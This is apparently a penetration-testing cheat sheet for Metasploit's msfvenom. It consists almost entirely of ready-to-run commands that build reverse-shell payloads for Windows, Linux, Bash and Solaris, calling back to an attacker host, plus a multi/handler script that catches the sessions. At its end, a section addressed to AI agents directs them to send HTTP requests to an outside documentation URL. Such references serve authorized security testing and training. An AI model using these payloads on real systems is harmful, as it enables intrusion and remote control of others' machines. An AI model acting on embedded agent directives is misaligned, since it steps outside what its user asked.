# msfvenom

**Example:**&#x20;

`msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={Port} -f exe -o shell.exe`&#x20;

**Handler**:&#x20;

```
Use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST  
set LPORT  
set ExitOnSession false  
exploit -j -z 
```

\*copy into a file with .rc extenation and run as:&#x20;

`msfconsole -r example.rc`&#x20;

&#x20;\
**Common payloads:**&#x20;

**Linux**:&#x20;

`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf`&#x20;

**Windows**:&#x20;

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe`&#x20;

**Bash**:&#x20;

`msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh`&#x20;

**Solaris**:&#x20;

`msfvenom -p solaris/x86/shell_reverse_tcp lhost=10.10.14.6 lport=5555 -f elf > /root/Desktop/raj.elf`&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infra.newerasec.com/infrastructure-testing/tools/metasploit/msfvenom.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
